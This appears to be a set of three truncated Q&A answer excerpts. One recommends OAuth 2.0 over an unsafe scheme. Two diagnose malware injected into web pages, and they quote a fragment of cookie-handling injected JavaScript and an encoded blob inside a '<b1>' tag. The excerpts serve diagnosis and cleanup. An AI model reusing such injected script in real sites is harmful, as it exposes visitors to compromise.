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No, this is not safe and I would certainly not recommend it. However, several methods exist that fulfill your requirements (and more). I suggest having a look at OAuth 2.0. OAuth secured services require a valid access token in the Authorization header of HTTP requests. Such a token must first be obtained from an identity provider, usually a 3rd server. ...


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When looking at the JavaScript that is written to the document, I see nothing that accesses the comment. The JavaScript code: var a = document.cookie; document.cookie = "hop=" + escape("hop") + ";path=/"; var b = navigator.appVersion, c = " " + document.cookie, d = null, e = 0, f = 0; if (c.length > 0) { e = c.indexOf(" hop="); ...


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It seems to be something added by a malicious bot that's installed on the server. See Strange <b1> HTML Tag on PhpFreaks forums. It includes some tips on how to remove the malware. The line <b1><!--8m3vp_oyeNrTzy8o0S/Jz01OLNEvT01KLCgo1k8pKMlNzEtMTy3Sz8lPz8yLTytKzE3Vyyo‌​usLW1NTQ0NTY0NjQzMgcAmuYUjw==--></b1> has also been added by ...



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